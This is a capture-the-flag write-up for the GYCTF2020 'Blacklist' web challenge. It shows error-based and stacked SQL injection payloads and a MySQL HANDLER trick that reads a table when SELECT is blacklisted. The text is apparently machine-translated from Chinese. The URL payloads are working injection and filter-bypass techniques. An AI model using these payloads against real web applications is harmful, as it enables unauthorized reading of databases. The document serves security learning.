当前位置:网站首页>[GYCTF2020]Blacklist
[GYCTF2020]Blacklist
2022-06-23 09:19:00 【K00sec】
[GYCTF2020]Blacklist
The title directly tells you that you need to bypass the blacklist , Look at this input field , It feels like an order is being executed .

After testing , Make sure that the command is not executed , It's a sql Inject , See the error message , Then use An error injection Try it .

The current database name is obtained through error injection , Then try to explode the table name .
# payload
?inject=0'-extractvalue(1,(concat('~',database())))+%23

The blasting table name is filtered , I was waiting , The filtered keywords are displayed .

select Keywords are filtered , But found no filtering ; You can try Stack Injection , Try it .
# payload
?inject=0';show+database();show+tables;%23

Successfully stacked and injected , Query the database and the tables in the current database ,flag It should be in FlagHere In the table .
# payload
?inject=0';show+columns+from+FlagHere;%23

however select How can I view data after being filtered , Or Du Niang awesome , You can find anything you want .
# HANDLER sentence
HANDLER tbl_name OPEN [ [AS] alias]
[
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
]
HANDLER table_name OPEN: Open a table handle .
HANDLER table_name READ index: Access the index of the table .
HANDLER table_name CLOSE: Close the open handle .
# 1、 Query through the specified index
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、 View the table through the index of
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# FIRST: Get the first line ( The row with the smallest index )
# NEXT: Get the next line
# PREV: Get previous row
# LAST: Get the last line ( The row with the largest index )
# 2、 View table without index
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# READ FIRST: Get the first line of the handle
# READ NEXT: Get other rows in turn
# Execute after the last line READ NEXT Will return an empty result
## Complete example
### View the table through the specified index
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
### View table by index
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec
### View the table by getting the next row of the index in turn
mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 5 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 1 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 2 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
#### Finally, the end of the index returns null
Use HANDLER Statement found flag.
# payload
?inject=0';HANDLER+FlagHere+OPEN;HANDLER+FlagHere+READ+NEXT;HANDLER+FlagHere+CLOSE;%23

Reference article :
MySQL And handler Detailed use and description of
[MYSQL How to use handler](
边栏推荐
- ThinkPHP 2.x/3.0 漏洞复现
- One of the 12 balls is different from the others. Provide a balance and find it three times
- MySQL fault case | error 1071 (42000): specified key was too long
- ucosii(学习笔记)
- Implementation of s5p4418 bare metal programming (replace 2ndboot)
- Combination sum II of leetcode topic analysis
- General paging (1)
- Utilisation du cookie du module de demande de noeud
- 通用分页(1)
- 使用base64,展示图片
猜你喜欢
Redis学习笔记—数据类型:哈希(hash)
![[GXYCTF2019]BabyUpload](/img/82/7941edd523d86f7634f5532ab97717.png)
[GXYCTF2019]BabyUpload
Redis learning notes - redis and Lua

UEFI源码学习3.7 - NorFlashDxe

什么是BFC?BFC可以解决什么问题

Redis learning notes RDB of persistence mechanism

设CPU有16根地址线,8根数据线,并用MREQ作为访存控制线号......存储器与CPU的连接

Sequential representation and implementation of sequencelist -- linear structure
Redis learning notes - data type: hash
Redis学习笔记—Redis与Lua
随机推荐
2022.6.22-----leetcode. five hundred and thirteen
Structure binary tree from inorder and postorder traversal for leetcode topic analysis
What is a closure function
36 krypton launched | cloud native database company "tuoshupai" completed a new round of strategic financing, and the valuation has reached the level of quasi Unicorn
设CPU有16根地址线,8根数据线,并用MREQ作为访存控制线号......存储器与CPU的连接
[cloud native | kubernetes] kubernetes principle and installation (II)
ARM中常见的英文解释
[GXYCTF2019]BabyUpload
Redis学习笔记—数据类型:有序集合(zset)
'coach, I want to play basketball!'—— AI Learning Series booklet for system students
Bit binding
使用base64,展示图片
全局快门和卷帘快门的区别
Redis learning notes master-slave copy
2022-06-22:golang选择题,以下golang代码输出什么?A:3;B:1;C:4;D:编译失败。
Redis学习笔记—地理信息定位(GEO)
[网鼎杯 2020 青龙组]AreUSerialz
UCOSII (learning notes)
Learn SCI thesis drawing skills (f)
Playing with nanopi 2 bare metal tutorial programming-01 lighting user led difficulty analysis